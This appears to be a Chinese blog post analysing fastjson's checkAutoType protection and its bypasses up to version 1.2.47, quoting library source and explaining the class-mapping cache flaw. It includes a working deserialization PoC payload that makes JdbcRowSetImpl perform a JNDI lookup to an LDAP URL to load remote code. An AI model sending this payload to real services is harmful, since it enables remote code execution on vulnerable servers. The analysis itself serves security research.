fastjson的漏洞修补及其绕过--至1.2.47
阿里的主要防护手段就是使用checkAutoType进行@type字段的检查
看一下 1.2.41版本checkAutoType的代码
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } if (typeName.length() >= 128) {//检查长度 throw new JSONException("autoType is not support. " + typeName); } final String className = typeName.replace('$', '.');//替换type中的$符 Class<?> clazz = null; if (autoTypeSupport || expectClass != null) {//开启autoTypeSupport时,白名单过滤,如果符合条件直接loadclass for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } } for (int i = 0; i < denyList.length; ++i) {//开启autoTypeSupport时,黑名单过滤 String deny = denyList[i]; if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null) {//尝试获取clazz clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) {//尝试获取clazz clazz = deserializers.findClass(typeName); } if (clazz != null) {//如果前两种方式成功获取,且expectclass非空,则比较其是否在expectclass中,如果不在则异常 if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) {//未开启autoTypeSupport for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } //到这里如果还没获取class if (clazz == null) {//尝试用默认类加载器去加载class clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (clazz != null) {//返回该元素的指定类型的注释 if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) { return clazz; } //class1.isAssignableFrom(class2) 判定此 Class 对象所表示的类或接口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口。如果是则返回 true;否则返回 false。如果该 Class 表示一个基本类型,且指定的 Class 参数正是该 Class 对象,则该方法返回 true;否则返回 false。 if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger ,此处classloader为defaultclassloader=null || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);//生成JavaBean相关信息 if (beanInfo.creatorConstructor != null && autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } } final int mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0; if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz; }
从代码中可以看出几个检测点和生成class对象的位置
首先是autoTypeSupport,白名单黑名单的检查,随后就是 TypeUtils.getClassFromMapping()和deserializers.findClass()方法去获取class对象,如果还没获取class,就调用默认类加载器进行loadclass。
在1.2.41的bypass中,主要是利用Lcom.xxx在loadclass时能够转换成com.xxx来实现黑名单的绕过与class的生成。
在1.2.47中,为了bypass,使用poc如下
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
调试可以发现java.lang.Class不在黑名单中,其class是由deserializers.findClass()方法生成的。注意到第一个序列化字符串还带有变量com.sun.rowset.JdbcRowSetImpl。
这里再来看另一个方法TypeUtils.getClassFromMapping(),这个方法用于从缓存的MAPPING中获取class对象。
在第一个序列化字符串完成解析时,com.sun.rowset.JdbcRowSetImpl已经作为变量存入缓存。再来看一下黑名单检测代码
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName);
这时在第二个序列化字符串解析时,TypeUtils.getClassFromMapping(typeName) == null条件已经不成立,因此可以绕过黑名单。然后便由TypeUtils.getClassFromMapping(typeName);方法生成class对象。
为什么会发生这样的情况呢?在调试时发现,在完成第一个序列化字符串的反序列化时,过程中会返回com.sun.rowset.JdbcRowSetImpl字符串。而在deserialze方法中有如下代码,当被反序列化的对象为class类时,就会加载val变量中的类
if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
而在加载类的过程中,会验证是否缓存,如果要缓存,则会调用mappings.put方法将className添加到Mappings中。
因此在对后续的com.sun.rowset.JdbcRowSetImpl进行反序列化时,才会在mappings.get()时返回true。至此绕过完成。
这次之后,修复的方法将cache的默认值改为了false
- Fastjson<=1.2.47反序列化漏洞复现
- 菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞
- fastjson1.2.47以下 RCE 漏洞复现
- fastjson>=1.2.47反序列化漏洞复现及实际利用
- fastjson到底做错了什么?为什么会被频繁爆出漏洞?
- Fastjson反序列化漏洞研究
- BUG:fastjson V1.2.47在spring boot V2.0.1.RELEASE 中 long 不能
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
- 五分钟复现fastjson1.2.24反序列化漏洞
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
- Fastjson 1.2.68漏洞分析与gadget寻找思路
- fastjson又被发现漏洞,这次危害可能会导致服务瘫痪
- FastJSON 简介及其Map/JSON/String 互转
- Fastjson1.2.24RCE漏洞复现
- fastjson漏洞升级修复小记
- Fastjson反序列化漏洞概述
- FastJSON 简介及其Map/JSON/String 互转
- FastJSON 简介及其Map/JSON/String 互转
- FastJSON 简介及其Map/JSON/String 互转
- fastjson用法及其相关解答